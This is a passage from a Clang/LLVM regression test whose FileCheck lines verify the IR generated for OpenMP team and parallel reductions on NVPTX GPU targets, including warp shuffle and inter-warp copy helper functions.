// CHECK2-SAME: (i32 [[A:%.*]], i32 [[B:%.*]]) #[[ATTR0]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[A_ADDR:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[B_ADDR:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK2-NEXT: store i32 [[A]], i32* [[A_ADDR]], align 4 // CHECK2-NEXT: store i32 [[B]], i32* [[B_ADDR]], align 4 // CHECK2-NEXT: [[CONV:%.*]] = bitcast i32* [[B_ADDR]] to i16* // CHECK2-NEXT: [[TMP0:%.*]] = call i32 @__kmpc_target_init(%struct.ident_t* @[[GLOB1]], i8 2, i1 false, i1 true) // CHECK2-NEXT: [[EXEC_USER_CODE:%.*]] = icmp eq i32 [[TMP0]], -1 // CHECK2-NEXT: br i1 [[EXEC_USER_CODE]], label [[USER_CODE_ENTRY:%.*]], label [[WORKER_EXIT:%.*]] // CHECK2: user_code.entry: // CHECK2-NEXT: [[TMP1:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3:[0-9]+]]) // CHECK2-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK2-NEXT: call void @__omp_outlined__9(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], i32* [[A_ADDR]], i16* [[CONV]]) #[[ATTR3]] // CHECK2-NEXT: call void @__kmpc_target_deinit(%struct.ident_t* @[[GLOB1]], i8 2, i1 true) // CHECK2-NEXT: ret void // CHECK2: worker.exit: // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@__omp_outlined__9 // CHECK2-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i32* nonnull align 4 dereferenceable(4) [[A:%.*]], i16* nonnull align 2 dereferenceable(2) [[B:%.*]]) #[[ATTR0]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK2-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK2-NEXT: [[A_ADDR:%.*]] = alloca i32*, align 4 // CHECK2-NEXT: [[B_ADDR:%.*]] = alloca i16*, align 4 // CHECK2-NEXT: [[A1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[B2:%.*]] = alloca i16, align 2 // CHECK2-NEXT: [[CAPTURED_VARS_ADDRS:%.*]] = alloca [2 x i8*], align 4 // CHECK2-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK2-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK2-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK2-NEXT: store i32* [[A]], i32** [[A_ADDR]], align 4 // CHECK2-NEXT: store i16* [[B]], i16** [[B_ADDR]], align 4 // CHECK2-NEXT: [[TMP0:%.*]] = load i32*, i32** [[A_ADDR]], align 4 // CHECK2-NEXT: [[TMP1:%.*]] = load i16*, i16** [[B_ADDR]], align 4 // CHECK2-NEXT: store i32 0, i32* [[A1]], align 4 // CHECK2-NEXT: store i16 -32768, i16* [[B2]], align 2 // CHECK2-NEXT: [[TMP2:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[CAPTURED_VARS_ADDRS]], i32 0, i32 0 // CHECK2-NEXT: [[TMP3:%.*]] = bitcast i32* [[A1]] to i8* // CHECK2-NEXT: store i8* [[TMP3]], i8** [[TMP2]], align 4 // CHECK2-NEXT: [[TMP4:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[CAPTURED_VARS_ADDRS]], i32 0, i32 1 // CHECK2-NEXT: [[TMP5:%.*]] = bitcast i16* [[B2]] to i8* // CHECK2-NEXT: store i8* [[TMP5]], i8** [[TMP4]], align 4 // CHECK2-NEXT: [[TMP6:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK2-NEXT: [[TMP7:%.*]] = load i32, i32* [[TMP6]], align 4 // CHECK2-NEXT: [[TMP8:%.*]] = bitcast [2 x i8*]* [[CAPTURED_VARS_ADDRS]] to i8** // CHECK2-NEXT: call void @__kmpc_parallel_51(%struct.ident_t* @[[GLOB3]], i32 [[TMP7]], i32 1, i32 -1, i32 -1, i8* bitcast (void (i32*, i32*, i32*, i16*)* @__omp_outlined__10 to i8*), i8* null, i8** [[TMP8]], i32 2) // CHECK2-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[TMP10:%.*]] = bitcast i32* [[A1]] to i8* // CHECK2-NEXT: store i8* [[TMP10]], i8** [[TMP9]], align 4 // CHECK2-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK2-NEXT: [[TMP12:%.*]] = bitcast i16* [[B2]] to i8* // CHECK2-NEXT: store i8* [[TMP12]], i8** [[TMP11]], align 4 // CHECK2-NEXT: [[TMP13:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK2-NEXT: [[TMP14:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 4 // CHECK2-NEXT: [[TMP15:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB3]], i32 [[TMP7]], i8* [[TMP14]], i32 1024, i8* [[TMP13]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func15, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func16, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func17, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func18, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func19, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func20) // CHECK2-NEXT: [[TMP16:%.*]] = icmp eq i32 [[TMP15]], 1 // CHECK2-NEXT: br i1 [[TMP16]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK2: .omp.reduction.then: // CHECK2-NEXT: [[TMP17:%.*]] = load i32, i32* [[TMP0]], align 4 // CHECK2-NEXT: [[TMP18:%.*]] = load i32, i32* [[A1]], align 4 // CHECK2-NEXT: [[OR:%.*]] = or i32 [[TMP17]], [[TMP18]] // CHECK2-NEXT: store i32 [[OR]], i32* [[TMP0]], align 4 // CHECK2-NEXT: [[TMP19:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK2-NEXT: [[CONV:%.*]] = sext i16 [[TMP19]] to i32 // CHECK2-NEXT: [[TMP20:%.*]] = load i16, i16* [[B2]], align 2 // CHECK2-NEXT: [[CONV3:%.*]] = sext i16 [[TMP20]] to i32 // CHECK2-NEXT: [[CMP:%.*]] = icmp sgt i32 [[CONV]], [[CONV3]] // CHECK2-NEXT: br i1 [[CMP]], label [[COND_TRUE:%.*]], label [[COND_FALSE:%.*]] // CHECK2: cond.true: // CHECK2-NEXT: [[TMP21:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK2-NEXT: br label [[COND_END:%.*]] // CHECK2: cond.false: // CHECK2-NEXT: [[TMP22:%.*]] = load i16, i16* [[B2]], align 2 // CHECK2-NEXT: br label [[COND_END]] // CHECK2: cond.end: // CHECK2-NEXT: [[COND:%.*]] = phi i16 [ [[TMP21]], [[COND_TRUE]] ], [ [[TMP22]], [[COND_FALSE]] ] // CHECK2-NEXT: store i16 [[COND]], i16* [[TMP1]], align 2 // CHECK2-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP7]]) // CHECK2-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK2: .omp.reduction.done: // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@__omp_outlined__10 // CHECK2-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i32* nonnull align 4 dereferenceable(4) [[A:%.*]], i16* nonnull align 2 dereferenceable(2) [[B:%.*]]) #[[ATTR0]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK2-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK2-NEXT: [[A_ADDR:%.*]] = alloca i32*, align 4 // CHECK2-NEXT: [[B_ADDR:%.*]] = alloca i16*, align 4 // CHECK2-NEXT: [[A1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[B2:%.*]] = alloca i16, align 2 // CHECK2-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK2-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK2-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK2-NEXT: store i32* [[A]], i32** [[A_ADDR]], align 4 // CHECK2-NEXT: store i16* [[B]], i16** [[B_ADDR]], align 4 // CHECK2-NEXT: [[TMP0:%.*]] = load i32*, i32** [[A_ADDR]], align 4 // CHECK2-NEXT: [[TMP1:%.*]] = load i16*, i16** [[B_ADDR]], align 4 // CHECK2-NEXT: store i32 0, i32* [[A1]], align 4 // CHECK2-NEXT: store i16 -32768, i16* [[B2]], align 2 // CHECK2-NEXT: [[TMP2:%.*]] = load i32, i32* [[A1]], align 4 // CHECK2-NEXT: [[OR:%.*]] = or i32 [[TMP2]], 1 // CHECK2-NEXT: store i32 [[OR]], i32* [[A1]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = load i16, i16* [[B2]], align 2 // CHECK2-NEXT: [[CONV:%.*]] = sext i16 [[TMP3]] to i32 // CHECK2-NEXT: [[CMP:%.*]] = icmp sgt i32 99, [[CONV]] // CHECK2-NEXT: br i1 [[CMP]], label [[COND_TRUE:%.*]], label [[COND_FALSE:%.*]] // CHECK2: cond.true: // CHECK2-NEXT: br label [[COND_END:%.*]] // CHECK2: cond.false: // CHECK2-NEXT: [[TMP4:%.*]] = load i16, i16* [[B2]], align 2 // CHECK2-NEXT: [[CONV3:%.*]] = sext i16 [[TMP4]] to i32 // CHECK2-NEXT: br label [[COND_END]] // CHECK2: cond.end: // CHECK2-NEXT: [[COND:%.*]] = phi i32 [ 99, [[COND_TRUE]] ], [ [[CONV3]], [[COND_FALSE]] ] // CHECK2-NEXT: [[CONV4:%.*]] = trunc i32 [[COND]] to i16 // CHECK2-NEXT: store i16 [[CONV4]], i16* [[B2]], align 2 // CHECK2-NEXT: [[TMP5:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK2-NEXT: [[TMP6:%.*]] = load i32, i32* [[TMP5]], align 4 // CHECK2-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[TMP8:%.*]] = bitcast i32* [[A1]] to i8* // CHECK2-NEXT: store i8* [[TMP8]], i8** [[TMP7]], align 4 // CHECK2-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK2-NEXT: [[TMP10:%.*]] = bitcast i16* [[B2]] to i8* // CHECK2-NEXT: store i8* [[TMP10]], i8** [[TMP9]], align 4 // CHECK2-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK2-NEXT: [[TMP12:%.*]] = call i32 @__kmpc_nvptx_parallel_reduce_nowait_v2(%struct.ident_t* @[[GLOB3]], i32 [[TMP6]], i32 2, i32 8, i8* [[TMP11]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func12, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func13) // CHECK2-NEXT: [[TMP13:%.*]] = icmp eq i32 [[TMP12]], 1 // CHECK2-NEXT: br i1 [[TMP13]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK2: .omp.reduction.then: // CHECK2-NEXT: [[TMP14:%.*]] = load i32, i32* [[TMP0]], align 4 // CHECK2-NEXT: [[TMP15:%.*]] = load i32, i32* [[A1]], align 4 // CHECK2-NEXT: [[OR5:%.*]] = or i32 [[TMP14]], [[TMP15]] // CHECK2-NEXT: store i32 [[OR5]], i32* [[TMP0]], align 4 // CHECK2-NEXT: [[TMP16:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK2-NEXT: [[CONV6:%.*]] = sext i16 [[TMP16]] to i32 // CHECK2-NEXT: [[TMP17:%.*]] = load i16, i16* [[B2]], align 2 // CHECK2-NEXT: [[CONV7:%.*]] = sext i16 [[TMP17]] to i32 // CHECK2-NEXT: [[CMP8:%.*]] = icmp sgt i32 [[CONV6]], [[CONV7]] // CHECK2-NEXT: br i1 [[CMP8]], label [[COND_TRUE9:%.*]], label [[COND_FALSE10:%.*]] // CHECK2: cond.true9: // CHECK2-NEXT: [[TMP18:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK2-NEXT: br label [[COND_END11:%.*]] // CHECK2: cond.false10: // CHECK2-NEXT: [[TMP19:%.*]] = load i16, i16* [[B2]], align 2 // CHECK2-NEXT: br label [[COND_END11]] // CHECK2: cond.end11: // CHECK2-NEXT: [[COND12:%.*]] = phi i16 [ [[TMP18]], [[COND_TRUE9]] ], [ [[TMP19]], [[COND_FALSE10]] ] // CHECK2-NEXT: store i16 [[COND12]], i16* [[TMP1]], align 2 // CHECK2-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP6]]) // CHECK2-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK2: .omp.reduction.done: // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func12 // CHECK2-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK2-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK2-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK2-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK2-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca i16, align 2 // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK2-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK2-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK2-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK2-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK2-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK2-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK2-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK2-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK2-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to i32* // CHECK2-NEXT: [[TMP13:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK2-NEXT: [[TMP14:%.*]] = bitcast i32* [[TMP13]] to i8* // CHECK2-NEXT: [[TMP15:%.*]] = load i32, i32* [[TMP12]], align 4 // CHECK2-NEXT: [[TMP16:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK2-NEXT: [[TMP17:%.*]] = trunc i32 [[TMP16]] to i16 // CHECK2-NEXT: [[TMP18:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP15]], i16 [[TMP7]], i16 [[TMP17]]) // CHECK2-NEXT: store i32 [[TMP18]], i32* [[DOTOMP_REDUCTION_ELEMENT]], align 4 // CHECK2-NEXT: [[TMP19:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK2-NEXT: [[TMP20:%.*]] = getelementptr i32, i32* [[DOTOMP_REDUCTION_ELEMENT]], i32 1 // CHECK2-NEXT: [[TMP21:%.*]] = bitcast i32* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK2-NEXT: store i8* [[TMP21]], i8** [[TMP11]], align 4 // CHECK2-NEXT: [[TMP22:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK2-NEXT: [[TMP23:%.*]] = load i8*, i8** [[TMP22]], align 4 // CHECK2-NEXT: [[TMP24:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK2-NEXT: [[TMP25:%.*]] = bitcast i8* [[TMP23]] to i16* // CHECK2-NEXT: [[TMP26:%.*]] = getelementptr i16, i16* [[TMP25]], i32 1 // CHECK2-NEXT: [[TMP27:%.*]] = bitcast i16* [[TMP26]] to i8* // CHECK2-NEXT: [[TMP28:%.*]] = load i16, i16* [[TMP25]], align 2 // CHECK2-NEXT: [[TMP29:%.*]] = sext i16 [[TMP28]] to i32 // CHECK2-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK2-NEXT: [[TMP31:%.*]] = trunc i32 [[TMP30]] to i16 // CHECK2-NEXT: [[TMP32:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP29]], i16 [[TMP7]], i16 [[TMP31]]) // CHECK2-NEXT: [[TMP33:%.*]] = trunc i32 [[TMP32]] to i16 // CHECK2-NEXT: store i16 [[TMP33]], i16* [[DOTOMP_REDUCTION_ELEMENT4]], align 2 // CHECK2-NEXT: [[TMP34:%.*]] = getelementptr i16, i16* [[TMP25]], i32 1 // CHECK2-NEXT: [[TMP35:%.*]] = getelementptr i16, i16* [[DOTOMP_REDUCTION_ELEMENT4]], i32 1 // CHECK2-NEXT: [[TMP36:%.*]] = bitcast i16* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK2-NEXT: store i8* [[TMP36]], i8** [[TMP24]], align 4 // CHECK2-NEXT: [[TMP37:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK2-NEXT: [[TMP38:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK2-NEXT: [[TMP39:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK2-NEXT: [[TMP40:%.*]] = and i1 [[TMP38]], [[TMP39]] // CHECK2-NEXT: [[TMP41:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK2-NEXT: [[TMP42:%.*]] = and i16 [[TMP6]], 1 // CHECK2-NEXT: [[TMP43:%.*]] = icmp eq i16 [[TMP42]], 0 // CHECK2-NEXT: [[TMP44:%.*]] = and i1 [[TMP41]], [[TMP43]] // CHECK2-NEXT: [[TMP45:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK2-NEXT: [[TMP46:%.*]] = and i1 [[TMP44]], [[TMP45]] // CHECK2-NEXT: [[TMP47:%.*]] = or i1 [[TMP37]], [[TMP40]] // CHECK2-NEXT: [[TMP48:%.*]] = or i1 [[TMP47]], [[TMP46]] // CHECK2-NEXT: br i1 [[TMP48]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK2: then: // CHECK2-NEXT: [[TMP49:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK2-NEXT: [[TMP50:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK2-NEXT: call void @"_omp$reduction$reduction_func11"(i8* [[TMP49]], i8* [[TMP50]]) #[[ATTR3]] // CHECK2-NEXT: br label [[IFCONT:%.*]] // CHECK2: else: // CHECK2-NEXT: br label [[IFCONT]] // CHECK2: ifcont: // CHECK2-NEXT: [[TMP51:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK2-NEXT: [[TMP52:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK2-NEXT: [[TMP53:%.*]] = and i1 [[TMP51]], [[TMP52]] // CHECK2-NEXT: br i1 [[TMP53]], label [[THEN5:%.*]], label [[ELSE6:%.*]] // CHECK2: then5: // CHECK2-NEXT: [[TMP54:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK2-NEXT: [[TMP55:%.*]] = load i8*, i8** [[TMP54]], align 4 // CHECK2-NEXT: [[TMP56:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK2-NEXT: [[TMP57:%.*]] = load i8*, i8** [[TMP56]], align 4 // CHECK2-NEXT: [[TMP58:%.*]] = bitcast i8* [[TMP55]] to i32* // CHECK2-NEXT: [[TMP59:%.*]] = bitcast i8* [[TMP57]] to i32* // CHECK2-NEXT: [[TMP60:%.*]] = load i32, i32* [[TMP58]], align 4 // CHECK2-NEXT: store i32 [[TMP60]], i32* [[TMP59]], align 4 // CHECK2-NEXT: [[TMP61:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK2-NEXT: [[TMP62:%.*]] = load i8*, i8** [[TMP61]], align 4 // CHECK2-NEXT: [[TMP63:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK2-NEXT: [[TMP64:%.*]] = load i8*, i8** [[TMP63]], align 4 // CHECK2-NEXT: [[TMP65:%.*]] = bitcast i8* [[TMP62]] to i16* // CHECK2-NEXT: [[TMP66:%.*]] = bitcast i8* [[TMP64]] to i16* // CHECK2-NEXT: [[TMP67:%.*]] = load i16, i16* [[TMP65]], align 2 // CHECK2-NEXT: store i16 [[TMP67]], i16* [[TMP66]], align 2 // CHECK2-NEXT: br label [[IFCONT7:%.*]] // CHECK2: else6: // CHECK2-NEXT: br label [[IFCONT7]] // CHECK2: ifcont7: // CHECK2-NEXT: ret void // // // CHECK2-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func13 // CHECK2-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR2]] { // CHECK2-NEXT: entry: // CHECK2-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK2-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK2-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3]]) // CHECK2-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK2-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[TMP3:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK2-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK2-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[TMP4]], 31 // CHECK2-NEXT: [[TMP5:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK2-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[TMP5]], 5 // CHECK2-NEXT: [[TMP6:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK2-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to [2 x i8*]* // CHECK2-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4:[0-9]+]], i32 [[TMP2]]) // CHECK2-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK2-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK2: then: // CHECK2-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 0 // CHECK2-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK2-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK2-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK2-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP10]], align 4 // CHECK2-NEXT: store volatile i32 [[TMP12]], i32 addrspace(3)* [[TMP11]], align 4 // CHECK2-NEXT: br label [[IFCONT:%.*]] // CHECK2: else: // CHECK2-NEXT: br label [[IFCONT]] // CHECK2: ifcont: // CHECK2-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK2-NEXT: [[TMP13:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[TMP3]], [[TMP13]] // CHECK2-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN2:%.*]], label [[ELSE3:%.*]] // CHECK2: then2: // CHECK2-NEXT: [[TMP14:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK2-NEXT: [[TMP15:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 0 // CHECK2-NEXT: [[TMP16:%.*]] = load i8*, i8** [[TMP15]], align 4 // CHECK2-NEXT: [[TMP17:%.*]] = bitcast i8* [[TMP16]] to i32* // CHECK2-NEXT: [[TMP18:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP14]], align 4 // CHECK2-NEXT: store i32 [[TMP18]], i32* [[TMP17]], align 4 // CHECK2-NEXT: br label [[IFCONT4:%.*]] // CHECK2: else3: // CHECK2-NEXT: br label [[IFCONT4]] // CHECK2: ifcont4: // CHECK2-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK2-NEXT: [[WARP_MASTER5:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK2-NEXT: br i1 [[WARP_MASTER5]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK2: then6: // CHECK2-NEXT: [[TMP19:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 1 // CHECK2-NEXT: [[TMP20:%.*]] = load i8*, i8** [[TMP19]], align 4 // CHECK2-NEXT: [[TMP21:%.*]] = bitcast i8* [[TMP20]] to i16* // CHECK2-NEXT: [[TMP22:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK2-NEXT: [[TMP23:%.*]] = bitcast i32 addrspace(3)* [[TMP22]] to i16 addrspace(3)* // CHECK2-NEXT: [[TMP24:%.*]] = load i16, i16* [[TMP21]], align 2 // CHECK2-NEXT: store volatile i16 [[TMP24]], i16 addrspace(3)* [[TMP23]], align 2 // CHECK2-NEXT: br label [[IFCONT8:%.*]] // CHECK2: else7: // CHECK2-NEXT: br label [[IFCONT8]] // CHECK2: ifcont8: // CHECK2-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK2-NEXT: [[TMP25:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK2-NEXT: [[IS_ACTIVE_THREAD9:%.*]] = icmp ult i32 [[TMP3]], [[TMP25]] // CHECK2-NEXT: br i1 [[IS_ACTIVE_THREAD9]], label [[THEN10:%.*]], label [[ELSE11:%.*]] // CHECK2: then10: // CHECK2-NEXT: [[TMP26:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK2-NEXT: [[TMP27:%.*]] = bitcast i32 addrspace(3)* [[TMP26]] to i16 addrspace(3)* // CHECK2-NEXT: [[TMP28:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 1 // CHECK2-NEXT: [[TMP29:%.*]] = load i8*, i8** [[TMP28]], align 4 